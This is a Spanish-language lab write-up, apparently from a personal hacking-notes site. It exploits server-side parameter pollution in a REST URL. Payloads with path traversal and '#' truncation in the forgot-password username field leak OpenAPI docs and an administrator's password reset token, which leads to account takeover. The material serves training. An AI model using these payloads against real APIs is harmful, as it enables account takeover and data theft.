> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md).

# Contaminación de parámetros del lado del servidor en una URL REST

### Explotando la contaminación de parámetros del lado del servidor en una URL REST

**Objetivo del laboratorio**/ Inicia sesión como administrador\*\* y elimina al usuario**carlos**.

#### 1. Funcionalidad « Olvidé mi contraseña »

Accedes a la función de Olvidé mi contraseña e introduces el nombre de usuario **administrator**.

<figure><img src="/files/babd5fc6fae12ea740f49110f34060982b5e68fe" alt=""><figcaption></figcaption></figure>

La solicitud enviada al servidor es la siguiente:

```bash
POST /forgot-password

csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=administrator
```

Respuesta obtenida:

```json
{
    "result":"*****@normal-user.net",
    "type":"email"
}
```

<figure><img src="/files/dccf7a0162d13172ea9e0f332111789d63bd9ba2" alt=""><figcaption></figcaption></figure>

#### 2. Análisis del código JavaScript del lado del cliente

El código JavaScript muestra que el `username` el valor se envía tal cual en la consulta, sin validación adicional del servidor.

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Nombre de usuario no válido";
                }
                else
                {
                    forgotPasswordError.textContent = `Por favor, revisa tu correo electrónico: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Nombre de usuario no válido";
            });
    } catch (error) {
        console.error("Error inesperado:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?passwordResetToken=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

Esto sugiere que el valor puede interpretarse como parte de la ruta de la API del backend.

#### 3. Intentos de contaminar la `username` Parámetro

* Se añadió un `#` al final del parámetro:

```bash
&username=administrator#
```

Respuesta:

```json
{
  "type": "error",
  "result": "Ruta no válida. Consulta la definición de la API"
}
```

* Intento de cruce de rutas:

```bash
&username=../../../../administrator
```

Respuesta: error de No encontrado del servidor de la API.

{% code overflow="wrap" %}

```json
{
  "error": "Respuesta inesperada del servidor de la API:/n<html>/n<head>/n    <meta charset=/"UTF-8/">/n    <title>No encontrado<//title>/n<//head>/n<body>/n    <h1>No encontrado<//h1>/n    <p>La URL que solicitaste no se encontró.<//p>/n<//body>/n<//html>/n"
}
```

{% endcode %}

<figure><img src="/files/3111cddde3d9d06db815a075aa6650a015d4a00c" alt=""><figcaption></figcaption></figure>

#### 4. Descubrimiento de la documentación de OpenAPI

Combinando el cruce de directorios y `#` carácter:

{% code overflow="wrap" %}

```bash
csrf=CiKtg4vkiqLtNS3lAtIhUaMNSuOfnjh1&username=../../../../administrator%23
```

{% endcode %}

Devuelve `openapi.json` con una longitud de respuesta grande.

<figure><img src="/files/3366ea3b061c07642716436ba1c266d09c50a13f" alt=""><figcaption></figcaption></figure>

* Mensaje de error:

```json
{
  "error": "Respuesta inesperada del servidor de la API:/n{/n  /"openapi/": /"3.0.0/",/n  /"info/": {/n    /"title/": /"API de usuario/",/n    /"version/": /"2.0.0/"/n  },/n  /"paths/": {/n    /"/api/internal/v1/users/{username}/field/{field}/": {/n      /"get/": {/n        /"tags/": [/n          /"users/"/n        ],/n        /"summary/": /"Encontrar usuario por nombre de usuario/",/n        /"description/": /"Versión 1 de la API/",/n        /"parameters/": [/n          {/n            /"name/": /"username/",/n            /"in/": /"path/",/n            /"description/": /"Nombre de usuario/",/n            /"required/": true,/n            /"schema/": {/n        ..."
}
```

<figure><img src="/files/377e04fc7465dabb5bf9a23b5aba23bb1ffd143d" alt=""><figcaption></figcaption></figure>

El servidor devuelve un error que contiene **OpenAPI** documentación, revelando las rutas internas disponibles, incluyendo:

```bash
/api/internal/v1/users/administrator/field/{field}
```

#### 5. Explotación de la API interna

El `username` el parámetro se ajusta para apuntar directamente a la API:

```bash
administrator/field/test%23
```

```json
{
  "type": "error",
  "result": "Esta versión de la API solo admite el campo de correo electrónico por razones de seguridad"
}
```

<figure><img src="/files/ef95aa4da73c12cd193910697615e1f58311b9be" alt=""><figcaption></figcaption></figure>

Respuesta válida con el correo electrónico del administrador.

```bash
&username=administrator/field/email%23
```

<figure><img src="/files/ecb56c8bfee8bfaf98ce87bc10a14be6db8844a8" alt=""><figcaption></figcaption></figure>

#### 6. Recuperación del token de restablecimiento

```bash
../../v1/users/administrator
```

<figure><img src="/files/2170ff6e36c864f5254b7de8e6807f0eae638309" alt=""><figcaption></figcaption></figure>

Probando otros campos expuestos por la API:

<figure><img src="/files/6b0f358ee1593717c8011c40bf1ae0fc04c6a32f" alt=""><figcaption></figcaption></figure>

```bash
&username=../../v1/users/administrator/field/passwordResetToken%23
```

Respuesta:

```json
{
  "type": "passwordResetToken",
  "result": "guw2qorqvfcpqohuv92wb460x4da485o"
}
```

<figure><img src="/files/ce60b8e6e903087ec3c54ea1195ae11fc51d4968" alt=""><figcaption></figcaption></figure>

#### 7. Restablecer la contraseña del administrador

El token recuperado se usa para acceder a la página de restablecimiento:

```bash
/forgot-password?passwordResetToken=guw2qorqvfcpqohuv92wb460x4da485o
```

Esto te permite establecer una nueva contraseña para **administrator**, luego conéctate y elimina al usuario **carlos**.

<figure><img src="/files/5dbf01693c2f3c3815c4bd8b1d410cfe2fa1fffe" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/api-testing/server-side-parameter-pollution-in-a-rest-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
